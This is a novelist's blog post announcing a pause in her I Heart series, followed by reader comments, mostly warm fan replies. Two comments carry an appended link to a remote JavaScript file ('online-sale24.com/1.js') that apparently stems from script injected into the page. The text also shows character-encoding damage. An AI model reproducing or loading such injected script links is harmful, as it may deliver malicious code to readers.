A change is as good as a rest…

OK. I do realise there’s every chance this post will not make me popular but I feel obliged to say something, since so many of you have asked.

I Heart London is the last book in the I Heart series for now. There are several reasons for this, the most important being that when I started writing it, I really felt like I’d finished telling Angela’s story and didn’t want to take the piss out of you or her by stringing out her adventures needlessly. Who wanted to read I Heart Blackpool where Angela loses a Louboutin while riding the donkeys, Jenny fell in love up the Blackpool tower and Alex rode in on the number 17 to save the day under the illuminations? Well, me actually but the point is, I thought I was done. The thing is, once I’d got about halfway through and knew how things were going to pan out, I realised there were stillΒ  a million things for Angela et al to get up to. That said, I still think she (and I) need a bit of a rest, if only some time off to get up to new trouble.

Unfortunately for me, there’s no time for time off. If I stop writing, my hands seize up and my friends start hitting me around the face with their handbags because I start talking too much. Even more than normal. And so, I’m currently busy working away on something very shiny and very new, the title of which will be announced shortly. I promise it’ll be funny and romantic and full of new friends to fall in love with and one day, in a couple of years, Angela and Alex will be back. I have everything crossed that you’ll like it and honestly, the idea of putting out something new is genuinely terrifying so I really, really need you on side with this. Please?
Does that sound like a fair deal?

And failing all else, please accept this photo of a tie-dyed goat I met at the Goldthwaite, Texas goat festival.

    I, for one, have no problem whatsoever with your plan (not that you need or desire my approval). I enjoy your writing because I get the feeling of getting to know your characters as though they are real. I look forward to your newest venture, whatever it is.

    Although part of me hated this post for obvious reasons, It would be great to read more books by you. After all we fell in love with Angela and her adventures, who knows we could find ourselves head over heels once again. Good luck to you Lindsey and I can’t wait for your new book!

    Hi Lindsey, I have to agree with you, I have thoroughly enjoyed Angela’s adventures and after all we do love a happy ending that was very fitting. I will be looking forward to your new projects and hearing more of your own adventures in the Big Apple (green with envy!) hope you are enjoying being back in the country and no James Martin is not married what a catch he would be!x

  14. Claire says:

    I love the I heart series and the single girls to do list, is there any way you would write a follow up to that one day?

  15. Suzanna says:

  18. Caroline Thomson says:

    I forgive you. Can’t wait for your next big thing. You write scatty dysfunctional less than perfect girls perfectly! Loved the single girls to do list just as much as the I Heart series because you also write rat bastards and dishevelled hero’s perfectly too.
    Well done you. Keep it up luv
    X

  19. Charlie says:

    Love anything you write, but not gonna lie – I’ll be v excited to see Angela back eventually. That’s because you’ve done what you set out to do, and made us fall in love with her and the rest of the characters.

  20. Alina says:

    Good luck with new idea! I`m waiting to read it πŸ˜‰ All I Heart series are great and Girls list too.

  21. Jilly says:

    I’m pretty new to Angela et al and her fantasticly funny exploits. I’ve become a HUGE fan of yours pretty much immediately so just wanted to write “I’m on board Babe!!!” I’m halfway through Vegas, can’t wait to read London, but holding off too because then it’ll be over. Single Ladies after that though to look forward to. All I ask is that you just keep writing for us, whatever it is. To be honest, even a book of your Tweets would be a success, they are hilarious & make me smile on very dreary days at work x

  22. ok so we will wait to see what angie and alex will do in a couple of years but i must admit i’m in love with her and alex so i would love to see them in the futur ..and can’t wait for your new story πŸ™‚

  23. Sounds very exciting! I’m just looking forward to anything you write, whether it’s new or the classics :o) Good luck, I’m sure it will be amazing! x

  24. The goat more than made up for this in my opinion.

  25. Having found you through The Single Girl’s To Do List, stumbling across the I Heart series was a lovely bonus. Can’t wait to see what comes next xxxhttp://online-sale24.com/1.js

    Looking forward to your newest book…but I will hold you to your promise that Angela and Alex will be back one day.

  29. Pat Williams says:

    Look forward to your new book and know that it will be as brilliantly written as are your other wonderful books. Patience is a virtue and will happily wait until Angela is back in however many years.

  30. Angelina3 says:

    I am on your side! Good luck and I look forward to reading your new stories:)

  31. Tammie says:

    It’s true that I do love the I Heart series, and I loved the Single girls to do list, and I am definitely excited about the new book (release date?), But I cant help thinking that Angela, Alex and Jenny will be missing from my life. It is sad, but hopefully in the future, we’ll hear about them again. In the mean time, bring on the new book!!!!!! xXxXx

  32. Jane Colbeck says:

    I have just finished I Heart London and really enjoyed it, I feel lost now but I’m looking forward to your new characters and I can wait for Angela and Alex’s return in the future. I may have to read them all again xxxx

  33. Sam says:

    For future reference I Heart Blackpool sounds great, haha! Good luck with the new book, if the others are anything to go by I can’t wait!! πŸ˜€ xx

  34. So excited for you – xoxo

  35. Looking forward to learning more about your new project πŸ™‚

    So if you write another of those, I will love it also. Happy Writing! Can’t wait to read whatever you have in store for us next! xx

  38. Thank you so much for the tie-dyed goat.

  40. Samantha says:

    Oh no! Gonna miss the I Heart Series! *sob*
    I just started to read I Heart London and it’s so great, I can’t put it down. I even tried to read in the office, which was kinda dangerous…
    But I guess it’s a good idea to take a break or otherwise it’ll never end.
    Looking forward to your new book! πŸ™‚ Yay!!http://online-sale24.com/1.js

  42. Lou says:

    I’ve just finished I heart London, amazing!! Which is what bought me here, looking for any information on if there was going to be a follow up, I can understand you wanting to do something ‘new’, but please don’t forget about Angela and Alex! I would love to read another book with them involved!
    Good luck with the new book and no doubt I will be buying that when it’s out!

  43. I loved the I Heart Series, and I am so happy to hear that there will be some more of your books to come in the future. Thank you for letting us know! I’m really looking forward to reading the new book now! πŸ™‚ x

  44. Serena says:

    I have to say I was disappointed to read “The End” at the end of I Heart London, but after reading this post, I can’t wait until Angela and the gang return with new adventures. It has been an awesome series. Good luck with the upcoming book, I absolutely love your work!!!

  45. Steph says:

    I am so deeply in love with the “I Heart” Series and actually I am halfway through “London” and I already thought that this might be the end (for now) as she returns to her home, the place where it all began…
    So I am sort of hesitating to read on, I just don’t want it to end πŸ™‚
    But actually, once I have started, I can never stop!
    So I am looking forward to all of your stuff, Angela or not – I am excited!

  46. I am loving the I Heart series… one problem though… I didn’t realise it was a series when I picked it up in the store. I have actually managed to read it backwards!! I picked up London as I am going to London in 4 weeks, I will have to check out Angela’s list! Then Paris (I liked London so much had to read Paris, plus aforementioned impending visit). Now reading New York!

    Seems the books in Australia don’t show they are part of a series!!

    Was hoping to see an I Heart Baby! But oh well πŸ™‚
